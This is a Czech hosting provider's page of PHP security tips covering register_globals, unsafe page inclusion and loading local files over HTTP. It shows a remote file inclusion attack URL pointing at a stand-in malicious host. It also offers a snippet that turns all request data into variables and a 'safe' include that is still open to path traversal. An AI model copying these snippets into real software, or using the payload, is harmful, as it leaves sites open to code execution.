www.cesky-hosting.cz
Tipy k PHP aplikacím
Tipy k PHP aplikacím
Na této stránce chceme uvést užitečné tipy k PHP aplikacím a stručně upozornit na časté chyby v jejich konstrukci a zabezpečení. Tyto informace vycházejí z našich zkušeností a zkušeností s problémy, se kterými se setkávají naši zákazníci. Budeme je postupně doplňovat. V této souvislosti také doporucčujeme prostudovat hostingovou zprávu Bezpečnost práce s webovými aplikacemi.
Globální proměnné
Tato poznámka se týká práce s daty získanými od uživatele. Práce s příslušnými proměnnými je ovliněna nastavením direktivy register_globals. Na našich serverech s PHP 4 je tato direktiva ve výchozím nastavením zapnuta (z historických důvodů), na PHP 5 vypnuta. Všechny aplikace doporučujeme vytvářet tak, aby pracovaly s register_globals off. Důvodem je vyšší bezpečnost a také vyhnutí se problémům s kompatibilitou.
Pro získání dat od uživatelů tedy používejte superglobální proměnné ($_POST, $_GET, $_SESSION, $_COOKIE apod.), další informace najdete například na php.net v článku Předdefinované proměnné.
Pokud je to pro Vás problematické například z důvodu příliš rozsáhlých úprav ve stávající aplikaci, můžete na začátek příslušného skriptu (či skriptů) připojit například následující jednoduchý kód. Ten převede data ze superglobálních proměnných na lokální proměnné (například data z proměnné $_POST['jmeno'] převede do proměnné $jmeno).
<?php
if(!empty($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
$$key = $value;
}
}
?>
Nicméně, toto řešení by mělo být pouze dočasné - viz informace výše.
Includování stránek
Poměrně častou chybou je nedostatečně zabezpečené includování obsahových podstránek podle proměnné v URL. To může přes danou aplikaci umožnit spuštění libovolného PHP kódu načítaného ze vzdáleného umístění. Tento problém se týká hlavně aplikací na PHP 4, v PHP 5 includování vzdálených souborů zabraňuje nastavení allow_url_include off. Podobné chyby bývají zneužívány nejčastěji k rozesílání spamu, může ale dojít i k pokusům o narušení bezpečnosti a stability dané serveru, nebo serverů vzdálených. Následuje jednoduchý přiklad.
Skript index.php rozhoduje o includované stránce podle proměnné stranka. Například volání index.php?stranka=kontakt includuje stránku kontakt.php umístěnou ve stejném adresáři. Zde je příslušný úryvek PHP kódu:
<?php
include('./'.$_GET['stranka'].'.php');
?>
Nicméně stejné funkcionality je možné dosáhnout i konstrukcí, které není bezpečná a umožní spuštění vzdáleného kódu:
<?php include($_GET['stranka'].'.php'); ?>
Při zadání index.php?stranka=http://cizidomena.cz/skodlivy-kod je do aplikace includován a spuštěn skript http://cizidomena.cz/skodlivy-kod.php. Řešení je zřejmé z prvního úryvku kódu, součástí aplikace by samozřejmě měly být ještě další kontroly (kontola dat od uživatele, kontrola existence includované schránky atd.).
Volání lokálních souborů externě
Řada PHP funkcí umožňuje pracovat se vzdálenými soubory - to znamená, že je jim možné jako parametr zadat absolutní URL souboru (http://...). Jsou to například funkce pro práci s obrázky, funkce pro načítání či kopírování souborů, apod.
Tímto způsobem je možné načítat i soubory lokální - tedy soubory, které jsou umístěny na stejné doméně, jako příslušný skript. Tento způsob práce je ale problematický - při načtení souboru je vytvořeno další spojení na webserver a vzniká tak zbytečná zátěž. Navíc při větším počtu takových požadavků by mohlo dojít i vyčerpání počtu současných možných spojení či přetížení webserveru. Lokální soubory by měly být načítány lokálně - tzn. zadáním relativní nebo absolutní cesty v rámci serveru.
Pro demonstraci uvedeme jednoduchý příklad. Mějme doménu www.mojedomena.cz a v jejím prostoru skript obrazek.php, který bude pomocí funkce getimagesize() zjišťovat velikost obrázku fotka.jpg umístěného tamtéž.
Správně řešený skript obrazek.php bude vypadat takto:
<?php
$velikost = getimagesize('fotka.jpg');
?>
Stejného výsledku je možné dosáhnout i následujícím chybným voláním. Při něm je vytvořeno zbytečné spojení na webserver:
<?php
$velikost = getimagesize('http://www.mojedomena.cz/fotka.jpg');
?>
Máte-li načítané soubory umístěny v jiné subdoméně dané domény, není přímá práce s nimi kvůli nastavené open_basedir restrikci možná. Nicméně restrikci můžeme na požádání posunout - viz článek Open_basedir restrikce.
+420 777 811 029
podpora@cesky-hosting.cz


